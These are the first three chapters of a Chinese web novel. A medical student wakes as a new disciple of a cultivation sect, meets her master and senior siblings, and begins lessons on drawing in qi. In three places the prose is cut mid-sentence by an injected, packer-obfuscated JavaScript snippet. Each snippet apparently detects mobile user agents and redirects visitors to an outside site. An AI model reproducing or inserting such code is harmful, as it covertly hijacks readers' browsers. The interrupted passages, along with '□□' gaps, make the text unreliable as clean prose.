《医学生每天都想当邪修》 1. 第 1 章 关云铮感觉脑瓜子嗡嗡的。 那种3d立体环绕式的絮絮低语声跟周末早上八点宿舍楼下准时开始的割草声一样,锲而不舍地往人的脑袋里钻。 她绝望地一蹬腿,想抓过被子蒙住脑袋,却感觉自己踢到了什么东西,还听见那东西“哎哟”一声。 关云铮:?咋,做梦呢这是?梦里还有割草机? 絮絮低语声也在那一声“哎哟”后停了下来,寂静几秒后爆发出了更嘈杂的讨论声。 关云铮猛地睁开眼,反了天了她脑子还开始编起这种梦来了?本来就玩游戏抽卡到五点才睡编这种梦让不让人活了? 不是,等会儿。 关云铮撤回了一条腿。 周围为什么这么多人?她是没醒还是还睡着? 周围的人神色各异地看着她,或者打量她。 关云铮环视了一圈,发现没一张熟脸,确认自己是在做梦,刚要重新闭上眼,刚才那被她踹翻的东西,不是,被她踹翻的人就重新坐了起来,气势汹汹地转向她:“你踢我做什么!” 关云铮下意识解释:“脚滑。” 周围一圈人的神色又变了变。 那人脸色更不好看了:“你我素昧平生,今日能够共聚此地等待仙门择选,便是多了几分往后缘分,你何故如此?” 关云铮:听懂了,但你说话好装。 她感觉太阳穴疼得要炸了,因此脸色也不是很好看,强行好脾气地继续解释道:“刚才以为在做梦,梦里蹬腿不小心踢到你了,不好意思。” 爬行动物进化来的本能,我也很难抗拒,抱一丝哈。 那人稍微灭了点火气,随即用一种不可思议的眼神看向她:“仙门择选的场合,你居然睡着了?” 关云铮睡不好起来有起床气,脑子里除了起床上课的暴躁外没有太多东西在启动状态,刚才道歉的时候就是社交本能在起作用,跟路上撞到人下意识道歉一样,根本没走心。 现在脑子里的东西开始运转了才认真听这人说话,这一听把她听傻了。 “你说什么,你再说一遍?”这下脸上表情呈不可思议状的变成了关云铮本人。 “我说仙门择选如此重大的场合,你居然睡着了?”那人跟个恪尽职守的NPC一样,如愿把刚才那句话又复述了一遍。 关云铮:懂了,确实是做梦,梦中梦。 她一脸了悟,那人以为她是听进去了,忍不住说道:“就快轮到你了,打起精神来吧。” 关云铮点点头,决定换个姿势躺下继续睡。 刚要动,就听见一个声音喊她的名字。 声线还行,就是有点太响了,像个钟。 她在心里点评完,继续给自己找躺下的舒服地儿。 然后,她就被看不见的什么东西提溜起来了。 看不见的手?哦,市场。关云铮一如既往地跳脱。跳脱完发现自己真的浮起来了。 到底是不是梦啊家人们……这体验感比我过去十几年所有的梦加起来还逼真……我脑子有这技术为什么不早两年趁我还梦得见帅哥的时候实现…… 我靠帅哥! 她被提溜着漂浮过底下一排脑袋,然后被放在了台阶下方,台阶上站着一个男人,正垂眼看着她。 好帅的叔……不留胡子的叔是好文明。 “我看你根骨清奇,不如就入我门修苍生道,如何?”帅叔说话了。 嗯,声音也好听,没有出现货不对版的悲惨情况。 关云铮下意识满意地点点头,意识到不对,又立马抬头:“苍生道是什么?” 只知道畜生道私密马赛。 周围全都静悄悄的,她的突然发问显得尤为突兀,但面前的帅叔好像并不十分在意,回答道:“虽千万人吾往矣。” 关云铮:? 脑子里的警报器响了。 “我觉得我并不适合此道。”关云铮的求生本能在说话。 “何出此言?”帅叔淡定接话。 关云铮不带一丝犹豫脱口而出:“怕死。” 底下有人发出了“噗”的笑声,也有人开始窃窃私语。 帅叔像是铁了心要收她这个徒弟一样,见招拆招似的灵活道:“对生死怀有敬畏才能懂得苍生疾苦,更是合了此道。” 关云铮:?你说得好有道理,我快要说不过你了。 她的迟疑像是拍定了这个事实,帅叔终于满意地点点头,说道:“既如此,从今天起,你就是我的徒弟了。” 关云铮:……不是这就定了?叔你比买菜还随便……我这颗菜还是经历了大学生涯摧残的老货,你确定你就这么买了? 帅叔说完这句话后似乎是打算走,看关云铮杵在台阶下不动,伸出手来迟疑了一会儿,轻轻拍了拍她的肩:“随我走吧,接下来的择选你不必看了。” 关云铮感觉闻到了自己CPU烧糊的味道,彻底摆烂,跟在帅叔身后走了。 路过原先那一群人时,她抬起视线看了眼,收获了一圈夹杂着三分羡慕三分愤怒和四分的……幸灾乐祸??? 直到最后一缕视线也远离她的视野,她才发现刚才待的地方是个宫殿模样的大厅,而眼前正好是块八卦式样的空地。 帅叔走出去几步远,想起什么似的回头对她道:“我叫章存舒,出口成章的章,志存高远的存,云卷云舒的舒。” 关云铮看着阴阳双鱼,接了句:“我叫关云铮。” 章存舒看她:“我知道。” 关云铮习惯性地解释道:“不是筝。” 没头没脑的,但章存舒应道:“那是什么?” 关云铮看见了地上的积水,想来这会儿是雨后初晴。于是她伸腿,用鞋子蘸了点水,在空地上写了个金字旁。 还没写到右半边,鞋底的水干了,她正想再蘸点写完这个字,章存舒不知道什么时候过来,伸手轻轻拍了一下她的脑袋:“知道了。” 总之稀里糊涂成修苍生道的了。 她甚至没弄明白自己是穿书了还是穿越了,如果是穿越的话,这世上岂不是真有修真界?还是说她其实已经穿越到别的世界了? 关云铮被自己的设想哽了一下,放弃脑补,坐在床上彻底放空大脑。 章存舒把她带回来后就让她在这个房间暂作休息,自己又离开不知道上哪儿去了。 关云铮现在就是一个非常迷茫的状态,但房间里的摆设又实在乏善可陈,甚至没法在她环视了一遍又一遍后给她什么有用的信息。 开摆。 她把自己埋进枕头里。 不知道是这具身体为了准备所谓的仙门择选太过劳累,还是自己的意识还在和躯体磨合,她刚把自己砸进床,就感觉到大脑一阵阵地发晕,很快就睡了过去。 说昏过去可能更为恰当。 被叫醒时自己已经像煎熟了一面的鱼一样,仰面朝上了。 于是睁开眼正对上一张漂亮的脸。 你们修真界选人绝对是有点颜控的吧,往小了说咱这苍生道多少是有点颜控属性的,怎么自打进了师门全是帅哥美女。 关云铮默默在心里吐槽,刚想坐起来,眼前的美女伸出手来在她额头上轻轻一触,关云铮仿佛听见脑子里传来裂冰似的一声,当场起来没多少的脑袋又倒回枕头上了。 坏了,脑子里为数不多的弦断了。 眼前的美女笑眼盈盈:“方才触及你脉象,发现有些疲累过度,这是门中的清心诀,能让你舒服些。” 关云铮在心里长舒一口气,没傻,放心了。 美女接着说:“我是你的师姐,我叫连映。” 关云铮仰躺着,眨了眨眼:“连接的连,映照的映?” 连映学她的样子眨了眨眼:“好聪明。” 关云铮:糟了,被美女夸得怪不好意思的。 清心诀的感觉逐渐退去,关云铮坐起来,乖巧地给师姐问了声好。 “师父去跟掌门师叔谈事去了,我刚从山下回来,来看看你有没有什么需要的。”连映说着把放在旁边的一碗汤端过来。 关云铮伸手接过,没闻到什么特别的味道,低头凑近,悄悄舔了一口。 好苦! 痛苦面具脸上焊了。 连映依旧笑眯眯的:“这是师父走前给你准备的茶。” 一想到以后可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853157|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都要喝这么苦的汤药,关云铮就有点悲从中来。她以前怎么敢嫌弃感冒药苦的?对比之下感冒药简直就是小甜水! “稍微喝两口就行,师父不会知道的。”连映看出她的艰难。 关云铮端着碗猛抬头,神情简直是喜出望外的真人演示:“真的吗?” 连映伸手把碗拿过去,随手往旁边洗漱的铜盆一倒:“喝完了,监督过了。” 关云铮瞳孔地震。 这是可以的吗亲爱的师姐大人。 “师门中人不多,除你我之外,还有两位师兄在你之前。大师兄名叫江却,近日闭关,大概暂时见不到,你三师兄叫闻越,同我一起下的山,估计有事耽搁了,晚些便能见到。”连映帮她解决完苦茶,又丝滑地继续讨论正事了。 关云铮下意识边听边点头,心说这个师门怪给她省心的,不仅人不多名字还都只有两个字,记起来简单多了。 连映接着说道:“这几年仙盟规定,历年新入门弟子皆由某一仙门统一管理,平衡天资上的优劣,以便于来日仙门大比时择选出更多有才学和能力的新人。” 关云铮点点头,心说不就是集训。 “今年该轮到我们统一管理弟子了,日子定在明日。” 关云铮继续点头,头点到一半痛苦抬头:“明日?!” 连映笑眯眯:“你三师兄回来后负责接送你每日往返学堂,课业上有任何疑难可以来问我,我若有空也会来找你。” 关云铮心里苦,但是她说不出。 事情交代得差不多,连映正准备起身,想了想又坐回来,像是实在没忍住似的,摸了摸关云铮的脑袋:“晚上想吃什么?” 关云铮被rua了一把头毛,还没从明天就要上学的悲痛消息中回过神来,骤然听见晚饭两个字也来不及悲痛了,眼巴巴地问道:“都有什么呀师姐?” 连映于是非常自然地牵起她的手:“去看看就知道了。” 说是饭堂,但几乎没人,估计不是整个门派里的饭堂,而是他们师门单独开的小灶。 连映带她刚坐下,面前的位置就一阵风似的刮来一个人,坐下后就要拿关云铮碗里的红糖馒头,被连映看了一眼,那人默默缩回手,拿了另一个碗里的菜团子。 关云铮:好像品出了一点师门食物链的感觉。 来人年纪大概介于少年和青年之间,看样子不到二十岁,眼睛很亮,就是行为上不像什么好人,关云铮咬了口红糖馒头,大胆猜测这位就是那个有事耽搁了的三师兄,于是咽了馒头乖乖打招呼:“三师兄好。” “唔,你怎么知道我是你三师兄?师姐怎么跟你介绍我的?”闻越吃菜团子也很快乐的模样。 关云铮默默看了眼师姐,师姐自然地接过话茬:“你在山下野够了?” 关云铮差点被师姐语气里那股若有若无的杀意吓得噎住。 闻越已经被噎住了,惊天动地地咳起来。过了好一会儿才缓过劲儿来,泪花都出来了:“师姐,我是真的有事耽搁了。” 连映轻笑了声没搭理他,给关云铮夹了一筷子菜。 闻越觑了会儿连映的脸色,估摸着是没事了,对关云铮说:“明日就要开始学术法了,紧张吗?” 关云铮心说我紧张得要死,万一有天赋的是原身不是我,我连灵根都没有,我就要鼠翘翘了。 但她显然不能这么回答,于是拿出见习时医院带教抽查时百试不爽的糊弄大法回答道:“紧张肯定是有的,但我会努力学习的。” 闻越挑眉,像是没想到她会这么回答似的,吃了口菜团子又说道:“师父好些年没收徒了,会收你想来就是看中你的天资,不用太紧张。” 关云铮心说我都不知道他是看中肉身的天资还是灵魂的天资,我的灵魂不会修仙只会看修仙文。 关云铮安静地嚼了会儿红糖馒头:“师姐师兄也被统一送到学堂过吗?”好歹问点经验什么的。 闻越眉开眼笑的:“那倒没有,就是前两年才有的这个约定,你是我们师门里的第一个,怎么样,新鲜吧?” 关云铮欲哭无泪地低下头,心说太新鲜了,我马上就要变成新鲜出炉的尸体了。 2. 第 2 章 不知道是因为明日就要进学堂所以可以偷懒,还是因为师门里向来把晚饭当做一天的最后一项,吃完饭后大家就各回各屋,关云铮彻底无所事事,甚至没法通过什么集体活动了解一下这个修仙世界的设定。 她揉着肚子在自己房间外的小院溜达,思考着没有手机该怎么度过接下来这一个晚上。 没有手机等娱乐设备,还得学习一段时间后参加考试确认排名……有种其实不是穿书而是穿越回高中的既视感。 不过说起来,如果是穿书文,她是不是该配备个系统来着,也不知道她体内有没有这玩意儿。 关云铮站定,闭上眼睛努力召唤了一会儿。 好的没有。 关云铮木着脸在原地站了会儿,终于忍不住了,狠狠跺了一脚地面。要不是顾忌着修仙人士大概率耳朵好使,她就要控制不住发出尖锐爆鸣了。 也不知道原身是发生了什么才会让她穿进来,她自己发生了什么倒是很好猜。 毕竟在穿越过来之前她刚结束大四第一学期的最后一场考试,也是她整个大学生涯最后一门专业课考试。终于能跟蓝皮书说再见,她当天就熬了个大夜把游戏的世界任务给通了。 但没想到那个世界任务太长,她连续做了四个小时都没能结束,最后过场动画似乎都没看完就睡着了。 难道不是睡着,是死了? 哇哦。 那她室友……能保研了诶。 关云铮想出这个地狱笑话,然后成功把自己逗笑了。 “我听小映说你紧张,怎么看你挺开心的模样?”小院里忽然有个声音响起来。 关云铮笑声卡喉咙里了。 原地自闭了两秒,她认命地转过身。 章存舒不知道从哪里冒出来的,换了身更轻便的衣服,站在她身后。 小院里的月光就洒在他身上。 关云铮忽然意识到一个问题,如果她真的是穿越进了一本有固定剧情的修仙文里,那谁是主角? 总不能她师父是男主吧……瞧这出场自带氛围。 月光下师父的长发披散着,脸比白天看起来更柔和了一些。 他的双眼皮开得很宽,按理说这种双眼皮会显得人的眼睛非常幼态,但他偏长的眼型又压住了这种感觉,加上宽窄正好的眉毛,给人的感觉是成熟中带着一点,那双眼睛带来的少年气。 那点少年气在他此刻笑着时尤为明显,关云铮默默看了他几秒,老实回答道:“自娱自乐呢,其实还是挺紧张。” 章存舒甩了下袖子,关云铮正疑惑他这个动作的用意,就感觉自己的小腿被什么东西从后面轻轻地磕了一下。 她低头向后看,发现自己屋子里的竹椅不知道什么时候跑出来了。 ……斗宗强者恐怖如斯。 总之她还是乖乖坐下了。 不过她屋子里只有这么一张竹椅,章存舒似乎也知道,不怎么在意地在她身边的台阶上坐下了。 关云铮条件反射似的“噌”一下站起来了:“师父你坐吧。” 别问,问就是在医院办公室让椅子让出肌肉记忆了。 章存舒抬了个手。 关云铮又被不知名的力量很温柔地按着坐下了。 章存舒悠哉悠哉地把手收回去:“坐了一整天软垫,快把腰坐废了,我看这台阶不错,我就坐这了。” 彳亍。 关云铮忐忑不安地在椅子上端坐着。 章存舒左腿放松地伸出去,右腿支起来给右手提供支点,说话时也不看她:“仙盟往年并没有集中某处教习的约定,是这几年仙门式微,几家势大的仙门一合计,觉得维持现状下去仙门迟早没落,于是做了这么个约定。” 关云铮乖乖点头。 章存舒忽然看了她一眼,很快又移开视线继续说:“不过他们也没想出该怎么阻止颓势,所以集中教习也只是个尝试,如果你在教习中遇到什么不妥当的,不必害怕,提出来就是。” 关云铮继续点头:“提出来就能得到解决吗?” 章存舒看她:“未必。” 关云铮:……就知道。 章存舒的眼神忽然多了几分认真:“但是不提出来就永远不会得到解决,所以你要提。” 关云铮被这样的眼神看着,下意识点了个头,点完刚要说什么,章存舒已经站起来了:“反正今年是在我们山上,惹了事不用怕。” 关云铮:??? 合着是有恃无恐不是正义作祟? 章存舒已经走出小院了。 月光依旧洒在他来时所站的石砖上。 关云铮盯着那块石砖看了会儿,默默起身拿上竹椅回房了。 也不知道是不是原身生活习惯的原因,第二天关云铮明明想多睡一会儿,但身体已经非常自觉地醒来了。 连映敲门时关云铮就是一副灵魂游离在身体之外的状态,迷瞪瞪的。 连映看了她一会儿,眼睛笑得弯起来:“这么困呀?” 关云铮一激灵,努力撑开眼皮:“还行,我能坚持。” “先去吃点东西吧,待会儿让三师兄送你去学堂。”连映示意她带上门出来。 关云铮一困就容易脑子追不上嘴,听见这句脱口而出道:“为什么不是师姐你送我去呢?” 话音刚落,师姐身后就飘出来一个很哀怨的声音:“你当我愿意每天早起送你去吗?” 然后关云铮就看着闻越比自己还像游魂地飘出来了。 俩眼圈黢黑。 “三师兄。”关云铮看了他一会儿,一张小脸非常严肃。 闻越边走边应声:“干嘛。” 关云铮忍了忍,还是没忍住:“你昨晚不睡觉,出去偷鸡摸狗了?” 闻越脚步停住,好一会儿才缓慢地转过身来,很不好惹地说:“一想到从此以后要早起快一整年,我就伤心得睡不着觉,你说,是谁的责任。” 关云铮默默移开视线:“我也可以自己上学。” 闻越猛地转头看向连映。 笑眯眯的师姐:“不可以哦。” 闻越,卒。 吃早餐的时候闻越脸都快埋进碗里了,筷子倒是不见动,估计是困得快昏了。 连映没管他,给关云铮夹了一筷子小菜,说道:“我本以为你会拘谨,看来你和三师兄相处得还不错。” 关云铮默默吃菜不敢接话。 其实对刚认识的人这样说话不太礼貌,但是可能是过去的一天里,师门各位对她都太友好了,她就会不自觉地放松自己跟陌生人相处的警惕,说话也就无意识进入了损友状态。 连映这句话倒是没有调侃她的意思,反而听起来非常的……欣慰? 要是连映表现出不认可的态度,她其实会立马收敛的。关云铮在心里小声说。 也不知道原身会不会介意她这样的言行举止,要是以后有机会换回来,自己的所作所为会不会对原身有什么不好的影响呢。 关云铮想着想着,感觉碗里的小米粥都不香了,筷子都不自觉停下来不动了。 反倒是终于困过劲儿的闻越开始大口喝粥了:“师妹快吃,初入学堂可不能迟到。” 关云铮被叫回神,“哦”了一声后两三口把粥喝完了。 连映倒是没怎么在吃的样子,看到关云铮吃完要急匆匆起身,又把两个包好的红糖馒头塞进她手里。 “学堂下课晚,饿了的话垫垫肚子。” 关云铮点点头,把油纸包抓好了。 闻越放下碗窜起来,拉着关云铮急哄哄地去学堂了。 连映一直看着他们走得没了影,才起身去舀了碗粥,想了想,又拿过另一边的空碗打了一碗。 刚坐下粥没喝两口,章存舒悠哉悠哉地走过来,撩开袍摆坐下。 “今天这小米粥不错。”章存舒抬手要拿。 连映把另一碗推给他:“这碗没放糖。” 章存舒默默调转方向拿走没放糖的那碗,叹了口气。 “不是你自己说牙疼。”连映喝了口粥,平淡点评道。 章存舒又叹了口气,拿起勺子又放下,感慨道:“也不知道到底谁是师父。” 连映看他:“那自然是师父你。” 章存舒和她对视片刻,重新拿起勺子喝粥了。 学堂外负责学生点名的是自家人,闻越过去先打了个招呼,聊了几句后带着关云铮往里走,在稍后排找了个位置坐下。 关云铮从这个习惯性的选座位中洞察了她三师兄混子的本质,找到了一丝熟悉感。 毕竟她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853158|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是后排常客来的。 可能是主场优势,学堂里还没有多少人,后排更是人迹罕至,因此闻越也暂时没走,在她座位旁边和她有一搭没一搭地聊天。 “有没有什么想知道的,可以问我。”闻越打量着桌上的笔架,看了眼他规规矩矩坐着的小师妹。 “学堂教些什么呢?”关云铮配合问道。 “我没进过仙盟设立的统一学堂,但想来教学内容和寻常学堂也差不多,大概就是先学引气入体,筑基,一些常规的术法,武器的使用,这些。” “大家都学一样的还是因材施教呢?”关云铮继续问道。 闻越似乎惊讶她会这样问,把视线从窗外移到她身上:“这要看学堂先生的风格,还得看有多少位先生了。”他思考了一会儿,补充道,“听闻今年学堂先生是我门中人,应当会走因材施教的路子。” “为什么我门中人就会走因材施教的路子?”关云铮不解。 “这样蠢材就完全不用教了。”闻越随口道。 关云铮:……?这种因材施教? 闻越看出她眼里的震惊,咳了声找补道:“每位先生评定的标准也不同,有些人或许也只是不善某类,并非全然蠢材。” 你这样文绉绉地解释还不如刚才那句随口而出来的真实。关云铮在心里吐槽。 “除了一年后的仙门大比,这一年期间还有其他的考核吗?”关云铮比较关心这个,毕竟这决定了她这一年有多少次要死去活来。 “如果先生是我们门中的……”闻越拉长调子说。 关云铮期待起来了:“就不用考了?” 闻越:“我也不知道。” 关云铮:拳头硬了。 “总之,往年仙门大比前几名一般也没我们师门什么事,你能上榜就挺厉害了,不必太过担心。”闻越拍拍她的肩膀。 关云铮刚想说点什么,就听见身后传来另一个声音:“你是这一辈我们门派中最有天赋的弟子,一定要努力在未来的仙门大比中挣得一个好名次。” 她转过身看去,发现说话的人看着年纪并不大,估摸着也就比闻越大上几岁,但没到人父的程度,毕竟他身边的那个女孩看着也有十三四岁了。估计和他俩一样,也是师兄妹。 那女孩感受到她的注视,抬起头来和她对上视线,两人看向对方的眼神里都带着一丝不易察觉的羡慕。 关云铮是羡慕她有个看起来非常靠谱的师兄,不知道对方羡慕自己什么,有个混子师兄不会逼着她努力吗? 关云铮扭头看了眼无所事事的闻越,心说好像也没什么值得羡慕的。 伴随着时间过去,来到学堂的弟子越来越多,其余来送上学的人也到了该离开的时候。 闻越环视了一圈落座的弟子,又看了眼乖乖坐着的关云铮,弯下腰来揉了一把她的脑袋:“我走啦,中午来接你回去吃饭。” 关云铮顶着一头乱毛目送闻越离开了。 等到学堂中的弟子们各自就位,那位闻越口中隶属“我门中人”的先生也终于露了面。 关云铮抬头往前一看。 好,果然不认识。 她到底为什么会以为自己这个才穿越一天的人能认得人。 先生是位须发皆白的老人,神色和步态倒是看着十分年轻,没有老态龙钟的迟钝感。就是看着怪严肃的,感觉是个律人律己都很严的老学究。 关云铮本以为下一步应该是老师自我介绍,没想到老人刚一露面,学堂里就有人窃窃私语起来。 她还听见离得近的人咕哝了一句:“果然是楚先生。” 楚?好小说的姓氏。 关云铮幻视一圈,发现在座的多数貌似都认得这位老人,不认识的也在伸长脖子和周围的人打听。 只有她像茫然四顾的狐獴。 好在台上的老人没有让她维持太久的超绝偷感,抬手在空中划了几笔,一个金色的字就浮在了空中。 “褚” 原来是这个褚。 那不是更小说了吗。 “老朽姓褚,是诸位今后一年内的教习先生,教导修道,武器、术法之类还会有其他先生负责,日后会见到。”褚先生说完后抬手,空中的字很快消散开,“希望诸位能够在这一年时间内,学有所成。” 3. 第 3 章 “修行之人修为分为多个阶段,多年以来为便于教习传授,归拢为四大阶段,分别是筑基、金丹、元婴、大乘,大乘之上觅得机缘者,或有飞升成仙可能。” “先生,当世可有真仙人?” “据老朽所知,七十年前曾有一修士觅得良机,突破大乘之境,但半年后就没了下落,亦或成仙归隐,不得而知。” …… “想什么呢?”闻越的声音。 关云铮还没完全回神,下意识脱口而出:“没……没什么,在想方才先生讲的知识。” 闻越点点头,不怎么在意先生讲了什么:“还以为今日的菜也不合你胃口呢。” “也?”关云铮抬头看他。 闻越看样子是想用筷子戳两下碗里的菜,但不知道顾忌着什么又停住了,只嘴上抱怨道:“这几日山上的菜也太难吃了,全都一股草根味儿。” 关云铮吃了口,没觉得有什么怪味:“难道三师兄吃过草根?” 闻越皱着眉头逼自己吃了一筷子菜:“那倒是没有过,就是个形容。” 其实关云铮也不怎么爱吃素,平时跟室友出去吃火锅最多也就点个冻豆腐和海带苗,点外卖更是很少吃素,最素起码也有个炒鸡蛋。 但可能是原身并没有太多物欲上的追求,这两天她甚至没有吃肉的想法。 有种不是和尚但突然变成光头的感觉。 关云铮被自己的离奇比喻怪到了,皱了皱眉继续吃饭了。 “上午讲这些,那下午做什么?跟别的先生学?”闻越彻底吃不下了,撂下筷子百无聊赖地在关云铮对面问道。 “褚先生说学引气入体。”关云铮乖乖回答。 “引气入体?” 关云铮点点头。 闻越本来想说点什么,不知怎么被她这个样子逗笑了,笑了一会儿才说:“褚先生脾气挺好的,不会的话可以去问他。” “引气入体……很难吗?”关云铮想起自己看过的修仙文里主角们丝滑跨过的筑基期,感觉有点为自己发愁。 万一她根本不能理解引气入体的原理怎么办? 闻越想了想才说:“倒不是很难,怎么说呢……” 关云铮期待地看着他。 “差那么一次灵光乍现吧。”闻越想到了合适的形容。 关云铮明白了,更为自己下午的课程担忧了。 关云铮坐在瀑布边的石头上发愁。 褚先生说要把天地之间的灵气想象为一种实体,呼吸吐纳的同时纳入灵气,感受灵气在身体内流转…… 好小众的人话。 闻越说的对,果然是需要灵光乍现才能理解的事情。 反正时间有的是,先生演示过一遍后就让他们自行领会了,一下午都能耗在这,她索性不难为自己了,按按坐久没力气的小腿,准备从石头上站起来。 脚步声从右手边传来。 关云铮抬起头,发现是今早那个被靠谱师兄叮嘱的女孩。 被她发现后,那女孩对着她笑了笑,左边脸颊出现了一个小酒窝。 “遇到什么麻烦了吗?我能帮上忙吗?”她说话的语调有点慢,但音量正好,听着还挺舒服的,让人很有跟她对话的欲望。 关云铮不知道她的进度如何,也不知道自己这种悟不出引气入体原理的算什么水平,只是摇了摇头。 那个女生走到她旁边,低头看了看她坐的那块石头。 关云铮福至心灵地往一侧挪了挪,又完全下意识地拍了拍自己身边。 过于自来熟的动作,但女孩只是稍微愣了一下,就笑着坐下了。 “我叫楚悯,怜悯的悯。”女孩先自报姓名。 换做以往,关云铮一定会觉得自我介绍是个非常羞耻非常不好意思的环节,好像本人的名字从自己口中说出来是件多么奇怪的事一样。 但此刻,可能是楚悯身边有种奇怪的磁场,她觉得自己现在非常平和,像是正在煮但没有沸的水,冒了一圈无伤大雅的气泡。 “我叫关云铮,云彩的云,铁骨铮铮的铮。”于是她也介绍自己的姓名。 楚悯点点头,酒窝又有出现的架势。 关云铮正想说点什么,发现她袖口有什么在一闪一闪,于是指了指提醒道:“袖子……” 楚悯低头,看到光点后似乎轻轻叹了口气,从袖子里拿出一块巴掌大的玉牌。 她左手托着玉牌,右手在上面画了几笔,很快把玉牌放回袖子里。关云铮注意到她还把玉牌翻了个面。 “是我哥哥,你今早应当见过。”楚悯抬头跟她说道。 原来是哥哥吗,还以为是师兄妹,亲哥哥也要这么卷妹妹吗。 “他不太放心我来□□习,一路上交代了很多,刚才也是用玉牌问我情况。”楚悯慢慢说着。 “看得出你哥……你兄长很关心你。”关云铮配合点头。 楚悯似乎是知道她在想些什么,解释道:“早上的话并不是他给我压力,只是……” 她忽然不说了,停顿了一会儿才继续说:“只是说给别人听的,私下哥哥几乎不管我修行的事,总在我修行的时候问我饿不饿。” 关云铮遇到过一些人,他们非常讨厌别人谈论自己的家庭,如果有人把照顾自己的兄弟姐妹挂在嘴边,就会私下里说这个人爱显摆。 她自己没有兄弟姐妹,偶尔听到相处好的也只会觉得羡慕,所以听到这些虽然觉得对于她们这样刚认识的关系来说有些突兀,但也还是笑着说:“原来是这样。” “我刚才同他说,归墟境很好,无须担心。”楚悯继续说道。 关云铮本来一直在微微点头,听到这头点不动了,脑子空白了一会儿,结合上下文才意识到归墟境应该是自己所在门派的名字。 好险,还好没问出口,不然就该被怀疑到底怎么考进来的了。 就是说来了快两天也没人跟她说门派叫啥也是挺离谱的。 不对,离谱的应该是她作为一个21世纪人穿越到修仙世界两天了。 哽咽了。 “我的师门是盈都峰,山下是盈川,有很多小吃,以后可以带你去尝尝。”楚悯抚平自己膝盖上布料的褶皱,看向关云铮。 关云铮从她的眼神里隐约感觉到,她说了这么多关于她的事,好像只是为了……让自己放松戒备,愿意和她聊聊自己遇到的困难。 怎么有种被同龄人轻易看懂的感觉……不对,原身和她才是同龄人,她估计都大了原身好几岁了。 好像更糟糕了是怎么回事。 关云铮于是坦诚道:“我不太能明白,如何引气入体。” 楚悯听到她的话再次笑起来,这次笑容扩大了些,关云铮才发现她原来有两个酒窝,对称的,笑起来在她的脸颊上左右呼应着。 好像在说,很高兴你能与我说这些。 “你试着抓过水吗?”楚悯和关云铮面对面坐着,问道。 “小时候玩过。”外婆家有条小溪,她每年夏天去都会在里面捞河虾。 虽然总是养不了一天就发白团灭了。 “用力拍打水面时,掌心会感到疼痛,轻柔入水时,水也会待你柔和。用力抓握,水会很快在掌心流干,要是试着慢慢收拢手掌,就能留住一些水。”楚悯伸手,在瀑布下方的水潭里掬起一掌心的水。 关云铮点点头。 “对灵气的感知也是如此。越是把它当做特殊的东西,越是感知不到它的存在。你只要寻常呼吸,待到习惯了修行程度的吐纳,灵气的捕捉也就不难了。” 虽然讲得很细致但其实跟褚先生说的没什么区别……可能修仙对于这个世界的人来说比较好接受吧,她这个现代人真的理解不了一点。关云铮默默在心里流泪。 楚悯朝她摊开手心,掌心的水已经流走,只剩下一点稀薄的水渍。 “我……”她似乎犹豫了一会儿才开口说,“我已经在筑基后期停滞很久了,一直没能凝练出金丹,所以门中长老希望我来归墟境接受□□习,寻得突破境界的机缘。” 居然已经筑基后期了吗……这种故事开始就开挂的感觉,难道楚悯是这个故事的主角? 关云铮的修仙文刻板印象又加深了。 “我的师门修习的是天问一派,平素修行获取灵气皆来自天地之间,曾有其他仙门指责我派行为乃窃取天时,我一度认为是无稽之谈。”楚悯的目光看向远方,语气也变得缥缈起来,“直到我十岁那年第一次问天,我发现天道,或说天之灵气,真的在日渐衰微。” 关云铮瞳孔地震了,感觉自己像学渣突然见到了竞赛题——题干都没读懂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853159|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我得以筑基便是从那次问天开始,但自那以后,我的修为始终只能在筑基缓慢爬升,不得突破。” 关云铮一直没说话,但她知道楚悯并非在自说自话。认识后楚悯每次说话似乎都有一定的指向性,但她几乎没有直白地描述过真正的问题所在,而是总在迂回地从另一个切入点开始谈起。 而直觉告诉关云铮,她想说的其实还是修行问题。 “我方才说归墟境很好,是因为我发现此地学堂不分学生资质,也就不会给学生设限。”楚悯脸上那种带着些茫然的神情褪去,又变成微微笑着的模样,“天问一派总是入门便测学生的灵根与天赋,或许我始终无法突破便是受此所困。” 灵根的概念倒是修仙文常见设定,关云铮觉得自己该说点什么,于是想了想说道:“你这么年轻就筑基后期,倒是不用因为灵根的关系执着,突破应当也是水到渠成的事,我觉得不用太着急。” 楚悯这次眼睛都弯了起来:“是呀,不用着急。” 关云铮一愣,明白了楚悯究竟想说些什么,也跟着笑起来。 晚间的饭堂很热闹,主要是闻越在问这问那地咋呼。 连映掰了块馒头塞他嘴里,无视他的反抗声,扭头问一边无声吃饭的关云铮:“今日修习如何?” 